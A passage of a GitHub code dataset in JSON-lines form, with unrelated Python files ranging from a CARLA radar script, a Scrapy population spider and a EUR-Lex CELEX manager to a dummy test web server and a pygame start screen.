med_dose_calc\nimport rock_paper_scissors\nuser_input = ''\n\nwhile user_input != 'exit':\n user_input = input(\"Choose the program you want to run: \\n\"\n \" 0: Age calculator \\n\"\n \" 1: BMI/BSA calculator \\n\"\n \" 2: Blood Pressure categoriser \\n\"\n \" 3: Medicine dosage calculator \\n\"\n \" 4: Medical Rock Paper Scissors \\n\")\n\n if user_input == \"0\":\n age_calc.calc()\n elif user_input == \"1\":\n bmi_calc.calc()\n elif user_input == \"2\":\n blood_pressure.categorise()\n elif user_input == \"3\":\n med_dose_calc.calc()\n elif user_input == \"4\":\n rock_paper_scissors.play()","repo_name":"NoaJunod/zhaw_prog","sub_path":"p02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73998027103","text":"import time\n\nimport config as cfg # Replace with own config!\n\nimport time\nimport carla\nimport numpy as np\n#import open3d as o3d # Only needed for demonstration\n\n\nclass SensorData:\n \"\"\"\n Helper class to store incoming data from sensor first and process them later\n Only needed for demonstration in asynchronous mode\n \"\"\"\n\n def __init__(self):\n self.data = []\n\n def collect(self, radar_data):\n self.data.append(radar_data)\n\n def clear(self):\n self.data = []\n\n def __iter__(self):\n for radar_data in self.data:\n yield radar_data\n\n def __len__(self):\n return len(self.data)\n\n\ndef polar_to_cartesian(radar_measurement, radar_location=carla.Location(0, 0, 0)):\n \"\"\"\n The radar data is given in polar coordinates and needs to be converted into cartesian coordinates\n in order to work with the lidar data\n\n :param radar_measurement: Contains all points that have been recorded\n :param radar_location: If the sensor is placed with an offset on the vehicle, we can add that offset too\n :return: Numpy array of detected points in cartesian plus velocity of the detected object (x,y,z,v)\n\n Note:\n 'All the sensors use the UE coordinate system (x-forward, y-right, z-up), and return coordinates in local space.\n When using any visualization software, pay attention to its coordinate system.\n Many invert the Y-axis, so visualizing the sensor data directly may result in mirrored outputs.'\n\n ! The coordinate system for the output has been changed and does not use the UE coordinate system\n \"\"\"\n\n points = np.frombuffer(radar_measurement.raw_data, dtype=np.dtype('f4'))\n points = np.reshape(points, (len(radar_measurement), 4))\n\n v, phi, rho, r = points.T\n x = r * np.cos(phi) * np.cos(rho) + radar_location.x\n y = r * np.cos(phi) * np.sin(rho) + radar_location.z\n z = r * np.sin(phi) + radar_location.y\n\n return np.stack((x, y, z, v)).T\n\n\ndef save_to_disk(points, path):\n data = ('ply\\n'\n 'format ascii 1.0\\n'\n f'element vertex {len(points)}\\n'\n 'property float32 x\\n'\n 'property float32 y\\n'\n 'property float32 z\\n'\n 'property float32 V\\n'\n 'end_header\\n')\n\n for point_4d in points:\n x, y, z, v = point_4d.T\n data += f'{x:.4f} {y:.4f} {z:.4f} {v:.4f}\\n'\n\n with open(path, 'w') as wf:\n wf.write(data)\n\n\ndef main():\n actors = []\n\n try:\n client = carla.Client('localhost', 2000)\n client.set_timeout(2.0)\n\n world = client.get_world()\n blueprint_library = world.get_blueprint_library()\n\n # Getting the vehicle of the manual control script\n heroes = [actor for actor in world.get_actors() if actor.attributes.get('role_name') == 'hero']\n vehicle = heroes[0]\n\n # Offset of the sensor on the vehicle\n radar_transform = carla.Transform(carla.Location(x=1.5, z=1.5), carla.Rotation(pitch=0))\n\n radar_bp = blueprint_library.find('sensor.other.radar')\n radar_bp.set_attribute('points_per_second', '5000')\n\n radar = world.spawn_actor(\n radar_bp,\n radar_transform,\n attach_to=vehicle)\n actors.append(radar)\n\n radar_data = SensorData()\n radar.listen(radar_data.collect)\n\n num_scans = 1\n\n # Collecting data and wait until num_scans has been reached\n while len(radar_data) < num_scans:\n continue\n\n # Stop listening\n radar.stop()\n\n # Process each Frame\n for radar_measurement in radar_data:\n points = polar_to_cartesian(radar_measurement, radar_transform.location)\n save_to_disk(points, f\"radar/{radar_measurement.frame}.ply\")\n\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(points[:, :3])\n\n o3d.visualization.draw_geometries([pcd],\n zoom=0.3412,\n front=[0.4257, -0.2125, -0.8795],\n lookat=[2.6172, 2.0475, 1.532],\n up=[-0.0694, -0.9768, 0.2024])\n\n finally:\n for actor in actors:\n actor.destroy()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kkowol/A-Eye","sub_path":"supplement/radar.py","file_name":"radar.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37627226862","text":"class Stack:\n def __init__(self):\n self.st = []\n \n def push(self,data):\n self.st.append(data)\n\n def pop(self):\n popEle = -1\n if len(self.st)>0:\n popEle = self.st.pop(-1)\n return popEle\n\n#Enque operation is costly.\nclass Queue:\n def __init__(self):\n self.s1 = Stack()\n self.s2 = Stack()\n\n def enque(self,data):\n while len(self.s1.st)>0:\n alpha = self.s1.pop()\n self.s2.push(alpha)\n self.s1.push(data)\n while len(self.s2.st)>0:\n alpha = self.s2.pop()\n self.s1.push(alpha)\n\n def deque(self):\n if len(self.s1.st)==0:\n return None \n else:\n popNode = self.s1.pop()\n return popNode\n\nq = Queue()\nq.enque(5)\nq.enque(6)\nq.enque(7)\nprint(q.deque())\nprint(q.deque())\n\n\n#Deque operation is costly.\nclass Queue:\n def __init__(self):\n self.s1 = Stack()\n self.s2 = Stack()\n\n def enque(self,data):\n self.s1.push(data)\n \n def deque(self):\n if len(self.s1.st)==0 and len(self.s2.st)==0:\n return None \n else:\n if len(self.s2.st)==0:\n while len(self.s1.st)>0:\n alpha = self.s1.pop()\n self.s2.push(alpha)\n popNode = self.s2.pop()\n return popNode\n\nq = Queue()\nq.enque(5)\nq.enque(6)\nq.enque(7)\nprint(q.deque())\nprint(q.deque())","repo_name":"marvel2950/Data-Structures-and-Algorithms-Problems","sub_path":"Level 1/Stack & Queue/Queue using stack.py","file_name":"Queue using stack.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"12199310533","text":"import streamlit as st\nimport cv2\nimport numpy as np\nfrom sklearn.cluster import KMeans\nimport tempfile\n\n\nst.set_page_config(\n page_title=\"Cartoonize Filter\",\n page_icon=\"🏡\",\n layout=\"wide\",\n)\n\ndef cartoonize_image(image_path):\n image = cv2.imread(image_path)\n image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n # Resize image untuk mempercepat processing\n scale_factor = 0.5\n image_rgb = cv2.resize(image_rgb, None, fx=scale_factor, fy=scale_factor)\n\n # K-means clustering untuk color quantization\n num_clusters = 8\n pixel_data = image_rgb.reshape((-1, 3))\n kmeans = KMeans(n_clusters=num_clusters)\n kmeans.fit(pixel_data)\n quantized_colors = kmeans.cluster_centers_.astype(int)\n quantized_image = quantized_colors[kmeans.labels_].reshape(image_rgb.shape)\n\n grayscale_image = cv2.cvtColor(image_rgb, cv2.COLOR_RGB2GRAY)\n\n # edge detection threshold menggunakan Canny\n edge_threshold = 100\n edges = cv2.Canny(grayscale_image, threshold1=edge_threshold,\n threshold2=2 * edge_threshold)\n\n # Invert edges untuk masking\n edges = 255 - edges\n\n # menggabungkan cartoonized image dan edge mask\n cartoonized = cv2.bitwise_and(quantized_image, quantized_image, mask=edges)\n\n return cartoonized\n\n\ndef main():\n st.title(\"Cartoonize Filter\")\n st.markdown(\"\"\" Cartoonize filter is a filter that makes your image look like a cartoon.\"\"\")\n\n st.write(\"## How it works?\")\n st.markdown(\"\"\"This filter works by using K-means clustering for color quantization and Canny edge detection for edge detection.\"\"\")\n\n st.write(\"## Try it out!\")\n uploaded_image = st.file_uploader(\"Choose an image...\", type=[\"jpg\", \"jpeg\", \"png\"])\n\n if uploaded_image:\n col1, col2 = st.columns(2)\n col1.header(\"Original Image\")\n col1.image(uploaded_image, width=400)\n\n if st.button(\"Cartoonize\"):\n st.spinner(\"Cartoonizing...\")\n\n # membuat temporary file untuk menyimpan uploaded image\n with tempfile.NamedTemporaryFile(delete=False) as temp_image:\n temp_image.write(uploaded_image.read())\n\n cartoonized = cartoonize_image(temp_image.name)\n col2.header(\"Cartoonized Image\")\n col2.image(cartoonized, caption=\"Cartoonized Image\", width=400)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Amar-Suhendra/pengolahanCitra","sub_path":"python/pages/5_Cartoonize_Image.py","file_name":"5_Cartoonize_Image.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"44132026248","text":"\nfrom torchsim.core.actions import SpaceEngineersActionsDescriptor\nfrom torchsim.core.nodes.actions_monitor_node import ActionMonitorNode\nfrom torchsim.core.nodes.expert_node import ExpertFlockNode\nfrom torchsim.core.nodes.receptive_field_node import ReceptiveFieldNode\nfrom torchsim.core.nodes.space_engineers_connector_node import SpaceEngineersConnectorNode\nfrom torchsim.core.graph.connection import Connector\nfrom torchsim.core.models.expert_params import NUMBER_OF_CONTEXT_TYPES\nfrom torchsim.core.nodes.constant_node import ConstantNode\nfrom torchsim.research.research_topics.rt_1_1_3_space_benchmarks.topologies.benchmark_lrf_flock_topology import \\\n BenchmarkLrfFlockTopology, compute_flock_sizes, setup_flock_params, init_se_dataset_world_params, compute_lrf_params\nfrom torchsim.utils.seed_utils import set_global_seeds\nfrom torchsim.utils.space_engineers_connector import SpaceEngineersConnectorConfig\n\n\nclass SeTaLrfT0(BenchmarkLrfFlockTopology):\n \"\"\"\n A model which receives data from the SE dataset and learns spatial and temporal patterns (task0)\n \"\"\"\n\n def __init__(self,\n seed: int=0,\n device: str = 'cuda',\n eox: int = 2,\n eoy: int = 2,\n num_cc: int = 100,\n batch_s=300,\n tp_learn_period=50,\n tp_max_enc_seq=1000,\n se_skip_frames=9):\n super().__init__(eox, eoy)\n\n self._se_config = SpaceEngineersConnectorConfig()\n self._se_config.skip_frames = se_skip_frames\n self._se_config.curriculum = [0, -1]\n\n # compute/setup parameters of the model\n _, self._sy, self._sx, self._no_channels = init_se_dataset_world_params(random_order=False)\n flock_size, input_size = compute_flock_sizes(self._sy, self._sx, self._no_channels, self._eoy, self._eox)\n expert_params = setup_flock_params(no_clusters=num_cc,\n buffer_size=batch_s * 2,\n batch_size=batch_s,\n tp_learn_period=tp_learn_period,\n max_enc_seq=tp_max_enc_seq,\n flock_size=flock_size,\n input_size=input_size)\n flock_input_size, flock_output_size = compute_lrf_params(self._sy, self._sx, self._no_channels, self._eoy,\n self._eox)\n\n # SE nodes\n self._actions_descriptor = SpaceEngineersActionsDescriptor()\n self._node_se_connector = SpaceEngineersConnectorNode(self._actions_descriptor, self._se_config)\n self._node_action_monitor = ActionMonitorNode(self._actions_descriptor)\n self._blank_action = ConstantNode(shape=self._actions_descriptor.ACTION_COUNT, constant=0)\n self._blank_task_data = ConstantNode(shape=self._se_config.agent_to_task_buffer_size, constant=0)\n\n # flock-related nodes\n self._lrf_node = ReceptiveFieldNode(flock_input_size, flock_output_size)\n self._flock_node = ExpertFlockNode(expert_params, seed=seed)\n self._zero_context = ConstantNode(shape=(expert_params.flock_size, NUMBER_OF_CONTEXT_TYPES,\n expert_params.temporal.incoming_context_size), constant=0)\n self._blank_task_control = ConstantNode(shape=self._se_config.TASK_CONTROL_SIZE, constant=0)\n\n # add nodes to the graph\n self.add_node(self._lrf_node)\n self.add_node(self._flock_node)\n self.add_node(self._zero_context)\n self.add_node(self._node_se_connector)\n self.add_node(self._node_action_monitor)\n self.add_node(self._blank_action)\n self.add_node(self._blank_task_data)\n self.add_node(self._blank_task_control)\n\n # connect SE -> LRF -> SP\n Connector.connect(\n self._node_se_connector.outputs.image_output,\n self._lrf_node.inputs[0])\n Connector.connect(\n self._lrf_node.outputs[0],\n self._flock_node.inputs.sp.data_input)\n Connector.connect(\n self._zero_context.outputs.output,\n self._flock_node.inputs.tp.context_input)\n\n # connect NOOP -> action_override\n Connector.connect(self._blank_action.outputs.output,\n self._node_action_monitor.inputs.action_in)\n Connector.connect(self._node_action_monitor.outputs.action_out,\n self._node_se_connector.inputs.agent_action)\n\n # connect blank_task_data -> SE aux input\n Connector.connect(self._blank_task_data.outputs.output,\n self._node_se_connector.inputs.agent_to_task_label)\n Connector.connect(self._blank_task_control.outputs.output,\n self._node_se_connector.inputs.task_control)\n\n # prepare for run\n set_global_seeds(seed)\n self._last_step_duration = 0\n\n\n","repo_name":"GoodAI/torchsim","sub_path":"torchsim/research/research_topics/rt_1_1_3_space_benchmarks/topologies/se_ta_lrf_t0.py","file_name":"se_ta_lrf_t0.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"45623830304","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport logging\n\n\nclass CountriesSpider(scrapy.Spider):\n name = 'countries'\n allowed_domains = [\n 'www.worldometers.info']\n start_urls = [\n 'http://www.worldometers.info/world-population/population-by-country/']\n\n def parse(self, response):\n\n # < a href = \"/world-population/china-population/\" > China < /a > \n countries = response.xpath(\"//td/a\")\n for country in countries:\n name = country.xpath(\".//text()\").get() # China\n # /world-population/china-population/\n link = country.xpath(\".//@href\").get()\n\n # the response which are scrapped from all the links will be sent to parse_country\n yield response.follow(url = link, callback = self.parse_country, meta = {'country_name': name})\n\n #absolute_url = f\"https://www.worldometers.info{link}\"\n # yield{\n # 'country_name': name, \n # 'country_link': link\n # } # In scrapy if you want to return the scraped data it is always returned as a dict\n\n def parse_country(self, response):\n name = response.request.meta['country_name']\n rows = response.xpath(\n \"(//table[@class = 'table table-striped table-bordered table-hover table-condensed table-list'])[1]/tbody/tr\")\n for row in rows:\n # .get() method is used to return the text as a stirng #2020\n years = row.xpath(\".//td[1]/text()\").get()\n pop = row.xpath(\".//td[2]/strong/text()\").get() # 989866\n yield {\n 'country_name' : name, \n 'curr_year': years, \n 'tot_pop': pop\n }\n","repo_name":"smitmehta19/Web_Scraping_Projects","sub_path":"Worldometers/Worldometers/spiders/countries.py","file_name":"countries.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72899305503","text":"from datetime import date\nfrom functools import lru_cache\nfrom abc import ABCMeta, abstractmethod\nfrom itertools import product\n\nfrom eurlex2lexparency.celex_manager.legislation_getter import LegislationGetter\nfrom eurlex2lexparency.celex_manager.model import (\n SessionManager,\n Version,\n Act,\n Corrigendum,\n Changes,\n)\nfrom eurlex2lexparency.celex_manager.celex import (\n CelexCompound,\n UnexpectedPatternException,\n CelexBase,\n)\n\n\nclass MissedGetter(LegislationGetter, metaclass=ABCMeta):\n\n YEARS = list(map(str, range(1950, date.today().year + 2)))\n INTERS = list(\"RLDF\")\n TYPE = None\n\n def __init__(self):\n super().__init__()\n self.sm = SessionManager()\n\n @abstractmethod\n def _local(self):\n pass\n\n @abstractmethod\n def _remote(self):\n pass\n\n @property\n @lru_cache()\n def local(self):\n return self._local()\n\n @property\n @lru_cache()\n def remote(self):\n return self._remote()\n\n @abstractmethod\n def _pull_all_missings(self, missings):\n pass\n\n @classmethod\n def get(cls):\n self = cls()\n missings = self.remote - self.local\n self.logger.info(f\"Missed {len(missings)} {self.TYPE}.\")\n self._pull_all_missings(missings)\n superfluous = self.local - self.remote\n if superfluous:\n self.logger.warning(\n \"Superfluous: \\n \" + \"\\n \".join(map(str, superfluous))\n )\n\n\nclass MissedVersionsGetter(MissedGetter):\n\n TYPE = \"versions\"\n\n def _local(self):\n result = set()\n with self.sm() as s:\n for v in s.query(Version):\n if v.date == date(1900, 1, 1):\n continue\n try:\n result.add(v.compound_celex)\n except UnexpectedPatternException:\n pass\n return result\n\n def _remote(self):\n result = set()\n for year in self.YEARS:\n for c in self(\"missed_consolidates\", year=year):\n result.add(CelexCompound.from_string(c[0].toPython()))\n return result\n\n def _pull_all_missings(self, missings):\n for missed in missings:\n self.logger.info(f\"Pulling for {missed}.\")\n self.pull_compound_celex_representations(missed)\n\n\nclass MissedActsGetter(MissedGetter):\n\n TYPE = \"acts\"\n\n def _local(self):\n result = set()\n with self.sm() as s:\n for a in s.query(Act):\n try:\n result.add(CelexBase.from_string(a.celex))\n except UnexpectedPatternException:\n pass\n return result\n\n def _remote(self):\n result = set()\n for year, inter in product(self.YEARS, self.INTERS):\n for (c,) in self(\"celexes_inter_year\", year=year, inter=inter):\n result.add(CelexBase.from_string(c.toPython()))\n return result\n\n def _pull_all_missings(self, missings):\n for c in missings:\n self.pull_acts_representations(str(c))\n\n\nclass MissedCorrigendaGetter(MissedGetter):\n\n TYPE = \"corrigendum\"\n\n def _local(self):\n result = set()\n with self.sm() as s:\n for a in s.query(Corrigendum):\n try:\n result.add(a.compound_celex)\n except UnexpectedPatternException:\n pass\n return result\n\n def _remote(self):\n result = set()\n for year, inter in product(self.YEARS, self.INTERS):\n self.logger.info(f\"Querying Corrigenda for ({year}, {inter})\")\n for (c,) in self(\"corrigenda\", year=year, inter=inter):\n result.add(CelexCompound.from_string(c.toPython()))\n return result\n\n def _pull_all_missings(self, missings):\n base_celexes = {c.base for c in missings}\n for celex in base_celexes:\n self.pull_all_corrigenda_representations(celex)\n\n\nclass MissedChangesGetter(MissedGetter):\n\n change_2_cdm = [\n (\"amends\", \"resource_legal_amends_resource_legal\"),\n (\"completes\", \"resource_legal_completes_resource_legal\"),\n (\"repeals\", \"resource_legal_implicitly_repeals_resource_legal\"),\n (\"repeals\", \"resource_legal_repeals_resource_legal\"),\n ]\n\n def _local(self):\n result = set()\n with self.sm() as s:\n for r in s.query(Changes):\n try:\n result.add(\n (\n CelexBase.from_string(r.celex_changer),\n r.change,\n CelexBase.from_string(r.celex_changee),\n )\n )\n except UnexpectedPatternException:\n pass\n return result\n\n def _remote(self):\n result = set()\n for year, (change, cdm) in product(self.YEARS, self.change_2_cdm):\n for changer, changee in self(\"changes_year\", year=year, change=cdm):\n try:\n result.add(\n (\n CelexBase.from_string(str(changer)),\n change,\n CelexBase.from_string(str(changee)),\n )\n )\n except UnexpectedPatternException:\n pass\n return result\n\n def _pull_all_missings(self, missings):\n with self.sm() as s:\n celexes = set(a.celex for a in s.query(Act))\n for changer, change, changee in missings:\n if changer == changee:\n continue\n celex_changer = str(changer)\n celex_changee = str(changee)\n for missing_celex in {celex_changer, celex_changee} - celexes:\n celexes.add(missing_celex)\n s.add(Act(celex=missing_celex))\n # noinspection PyArgumentList\n s.add(\n Changes(\n celex_changer=celex_changer,\n change=change,\n celex_changee=celex_changee,\n )\n )\n\n\nif __name__ == \"__main__\":\n MissedActsGetter.get()\n MissedVersionsGetter.get()\n MissedCorrigendaGetter.get()\n MissedChangesGetter.get()\n","repo_name":"Lexparency/eurlex2lexparency","sub_path":"eurlex2lexparency/celex_manager/get_missed.py","file_name":"get_missed.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"42096446668","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.Redirect.as_view()),\n path('landing/', views.Landing.as_view(), name='landing'),\n path('landing/', views.Landing.as_view(), name='landing'),\n path('account', views.Account.as_view(), name='account'),\n path('project/', views.ProjectSettings.as_view(), name='project'),\n path('project//access', views.AccessSettings.as_view(), name='access'),\n path('register', views.Register.as_view(), name = 'register'),\n path('user/avatar', views.UploadAvatar.as_view(), name = 'user_avatar'),\n path('project//avatar', views.UploadProjectAvatar.as_view(), name = 'project_avatar'),\n path('project/create', views.CreateProject.as_view(), name='create_project'), \n path('delete', views.deleteuser, name='delete'), \n path('ticket/', views.TicketDetail.as_view(), name='ticket') \n]","repo_name":"BlaiseMahoro/TaskManagement","sub_path":"maroon/task_management/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"11111124781","text":"import random\n\nimport analysisutil\nfrom Languages.LanguageGenerator import random_combinations\n\nanalysisutil.add_argument('indices')\nanalysisutil.add_argument('max_words', type=int)\nanalysisutil.add_argument('sample', type=int)\n(args, setup, file_util_out) = analysisutil.init()\nfile_util_in = file_util_out.get_base_file_util()\n\nnatural_indices = set(file_util_in.load_dill('{0}_expression_indices.dill'.format(args.indices)))\nexpressions = file_util_in.load_dill('expressions.dill')\nnon_natural_indices = set(range(len(expressions))) - natural_indices\n\nlanguage_indices = []\nnaturalness = []\nsizes = []\n\nfor lang_size in range(1,args.max_words+1):\n for i in range(args.sample):\n len_natural = random.randint(0,lang_size)\n len_random = lang_size - len_natural\n lang_random = next(random_combinations(non_natural_indices, len_random, 1))\n lang_natural = next(random_combinations(natural_indices, len_natural, 1))\n naturalness.append(len_natural / lang_size)\n language_indices.append(lang_random + lang_natural)\n\nfile_util_out.dump_dill(language_indices, 'language_indices.dill')\nfile_util_out.dump_dill(naturalness, 'naturalness.dill')\nfile_util_out.save_stringlist([list(map(lambda i: str(expressions[i]), lang)) for lang in language_indices], 'languages.txt')\n","repo_name":"wouterposdijk/SimInf_Quantifiers","sub_path":"Code/Languages/sample_indexset_degrees.py","file_name":"sample_indexset_degrees.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4344790243","text":"#!/usr/bin/env python\n\"\"\"\nVery simple HTTP server in python.\n\nUsage::\n ./dummy-web-server.py []\n\nSend a GET request::\n curl http://localhost\n\nSend a HEAD request::\n curl -I http://localhost\n\nSend a POST request::\n curl -d \"foo=bar&bin=baz\" http://localhost\n\n\"\"\"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nimport multiprocessing\n\n\ndef _get_endpoint(url):\n return url.split(\"/\")[-1]\n\n\ndef make_dummy_handler(response_mappings, force_action, queue):\n get_mappings = response_mappings.get(\n \"GET\",\n {\n \"settings\": {\n \"spreadsheetID\": \"\",\n \"attendanceSheet\": \"\",\n \"autocompleteSheet\": \"\",\n },\n \"names\": {\"names\": [\"name1\", \"name2\", \"name3\"]},\n },\n )\n\n class DummyRequestHandler(BaseHTTPRequestHandler):\n def _set_headers(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n self.send_header(\n \"Access-Control-Allow-Headers\", \"Content-Type, Authorization\"\n )\n self.end_headers()\n\n def do_GET(self):\n if force_action == \"FAIL\":\n self.send_error(500)\n else:\n # data = self.rfile.read(int(self.headers.get(\"content-length\"))).decode(\n # \"utf-8\"\n # )\n # queue.put(json.loads(data))\n self._set_headers()\n self.wfile.write(\n json.dumps(get_mappings.get(_get_endpoint(self.path))).encode()\n )\n\n def do_HEAD(self):\n if force_action == \"FAIL\":\n self.send_error(500)\n else:\n self._set_headers()\n\n def do_POST(self):\n if force_action == \"FAIL\":\n self.send_error(500)\n else:\n data = self.rfile.read(int(self.headers.get(\"content-length\"))).decode(\n \"utf-8\"\n )\n self._set_headers()\n queue.put(json.loads(data))\n\n def do_OPTIONS(self):\n self._set_headers()\n\n return DummyRequestHandler\n\n\nclass DummyServer:\n def __init__(self, response_mappings={}, force_action=None, port=8000):\n self.response_mappings = response_mappings\n self.force_action = force_action\n self.msg_queue = multiprocessing.Queue()\n self.port = port\n\n def start(self):\n server_address = (\"\", self.port)\n\n def setter(data):\n print(\"Settings last request data\")\n self.last_request_data = data\n\n handler_class = make_dummy_handler(\n self.response_mappings, self.force_action, self.msg_queue\n )\n httpd = HTTPServer(server_address, handler_class)\n self.server_proc = multiprocessing.Process(target=httpd.serve_forever)\n self.server_proc.start()\n\n def stop(self):\n self.server_proc.terminate()\n\n @property\n def last_request_data(self):\n return self.msg_queue.get_nowait()\n\n\nif __name__ == \"__main__\":\n srv = DummyServer()\n srv.start()\n","repo_name":"carltoncubs/pax","sub_path":"__tests__/dummy_web_server.py","file_name":"dummy_web_server.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"26106615863","text":"\n##################### Importation des fichiers néccecaires au fonctionnement #####################\n\nfrom Joueur import *\nfrom JeuCartes import *\nfrom Carte import *\n\n##################### Classe Bataille #####################\n\nclass Bataille:\n\n##################### L'initialisation va créer les 2 joueurs, mélanger et distribuer les cartes #####################\n\n def __init__(self, nomJ1, nomJ2, tailleJeuCartes,):\n self.J1 = Joueur(nomJ1)\n self.J2 = Joueur(nomJ2) # valeur par défaut qui sera modifiée\n self.jeuCartes = JeuCartes(tailleJeuCartes) # valeur par défaut qui sera modifiée\n paquet_jeux = self.jeuCartes.distribuerJeu(2,int(tailleJeuCartes/2))# Selecteur suivant nombre de cart 32 ou 52\n self.J1.setMain(paquet_jeux[0])\n self.J2.setMain(paquet_jeux[1])\n\n ## On mélange le jeu et on le distribue aux 2 joueurs\n \n##################### Fonction jouer qui permet le jeux #####################\n\n def jouer(self):\n print(\"Que le meilleurs gagne !\")\n print(\"Début de la partie\")\n tour = 0\n e = 0\n pile1= []\n pile2= []\n\n##################### Boucle principale qui répete le jeux tant qu'un des joueurs a encore des cartes ##################### \n\n while self.J1.getNbCartes() != 0 and self.J2.getNbCartes() != 0 :\n print(\" \")\n tour += 1\n e += 1\n print (\"------------------ Tour de carte n°\",tour, \"------------------\")\n\n if e == 32 :\n self.J1.melangerMain()\n self.J2.melangerMain()\n e = 0\n \n##################### Chaque Joueur joue ca carte #####################\n\n pile1.append(self.J1.jouerCarte())\n print(\"Carte jouée par\", self.J1.getNom(), \":\" , pile1[-1].getNom(), \"de\" ,pile1[-1].getCouleur())\n pile2.append(self.J2.jouerCarte())\n print(\"Carte jouée par\", self.J2.getNom(), \":\" , pile2[-1].getNom(), \"de\" ,pile2[-1].getCouleur())\n\n\n##################### Cas d'égalité entre les joueurs #####################\n\n while pile1[-1].egalite(pile2[-1]):\n print (\"------------------ EGALITÉ ------------------\")\n for i in range (2):\n pile1.append(self.J1.jouerCarte())\n pile2.append(self.J2.jouerCarte())\n \n if pile1[-1] == None or pile2[-1] == None :\n print (\"Un des joueurs n'as plus assez de carte !\")\n break \n \n print(\"Carte jouée par\", self.J1.getNom(), \":\" , pile1[-1].getNom(), \"de\" ,pile1[-1].getCouleur())\n print(\"Carte jouée par\", self.J2.getNom(), \":\" , pile2[-1].getNom(), \"de\" ,pile2[-1].getCouleur())\n\n if pile1[-1] == None or pile2[-1] == None :\n break\n\n##################### Cas où la carte du joueur 1 est supérieur à celle du joueur 2 #####################\n\n elif pile1[-1].estSuperieureA(pile2[-1]):\n for i in range(len(pile1)):\n self.J1.insererMain(pile1.pop())\n for i in range(len(pile2)):\n self.J1.insererMain(pile2.pop())\n print(\"Le vainqueur de la manche est\", self.J1.getNom())\n\n##################### Cas où la carte du joueur 1 est inférieur à celle du joueur 2 #####################\n\n elif pile1[-1].estInferieureA(pile2[-1]):\n for i in range(len(pile1)):\n self.J2.insererMain(pile1.pop())\n for i in range(len(pile2)):\n self.J2.insererMain(pile2.pop())\n print(\"Le vainqueur de la manche est\", self.J2.getNom())\n\n##################### Fin grande boucle while #####################\n\n print(\"Nombre de carte de\", self.J1.getNom(), \":\", self.J1.getNbCartes())\n print(\"Nombre de carte de\", self.J2.getNom(), \":\", self.J2.getNbCartes())\n\n##################### Impression des résultats suivant le nombre de carte ##################### \n\n if self.J1.getNbCartes() > self.J2.getNbCartes() :\n print(\"Le grand vainqueur est \", self.J1.getNom())\n print(\"avec\",self.J1.getNbCartes(), \"cartes !\")\n elif self.J1.getNbCartes() < self.J2.getNbCartes() :\n print(\"Le grand vainqueur est \", self.J2.getNom())\n print(\"avec\",self.J2.getNbCartes(), \"cartes !\")\n\n##################### Tester la classe Bataille sans le fichier main.py #####################\ndef testBataille():\n Bataille(\"Momo\", \"Titi\", 52).jouer()\n","repo_name":"MI6-Pikes00/Bataille-jeux-de-carte","sub_path":"Bataille.py","file_name":"Bataille.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11398631979","text":"import pygame\nimport os\nimport sys\n\npygame.init()\nscreen = pygame.display.set_mode((1920, 1080), pygame.FULLSCREEN)\nclock = pygame.time.Clock()\nFPS = 60\npygame.mouse.set_visible(0)\n\n\ndef load_image(name):\n fullname = os.path.join('data', name)\n image = pygame.image.load(fullname).convert_alpha()\n return image\n\n\ndef terminate():\n pygame.quit()\n sys.exit()\n\n\ndef start_screen():\n fon = pygame.transform.scale(load_image('startscreen.jpg'), (1920, 1080))\n play_sprites = pygame.sprite.Group()\n exit_sprites = pygame.sprite.Group()\n cur_sprites = pygame.sprite.Group()\n playbut = pygame.sprite.Sprite()\n playbut.image = load_image('play.png')\n playbut.rect = playbut.image.get_rect()\n playbut.rect.x = 650\n playbut.rect.y = 480\n play_sprites.add(playbut)\n exitbut = pygame.sprite.Sprite()\n exitbut.image = load_image('exit.png')\n exitbut.rect = exitbut.image.get_rect()\n exitbut.rect.x = 650\n exitbut.rect.y = 700\n exit_sprites.add(exitbut)\n cur = pygame.sprite.Sprite()\n cur.image = load_image(\"cross.png\")\n cur.rect = cur.image.get_rect()\n cur_sprites.add(cur)\n while True:\n screen.blit(fon, (0, 0))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n terminate()\n if event.type == pygame.MOUSEMOTION:\n cur.rect.center = event.pos\n if event.type == pygame.MOUSEBUTTONDOWN and playbut.rect.collidepoint(event.pos):\n pass\n if event.type == pygame.MOUSEBUTTONDOWN and exitbut.rect.collidepoint(event.pos):\n terminate()\n play_sprites.draw(screen)\n 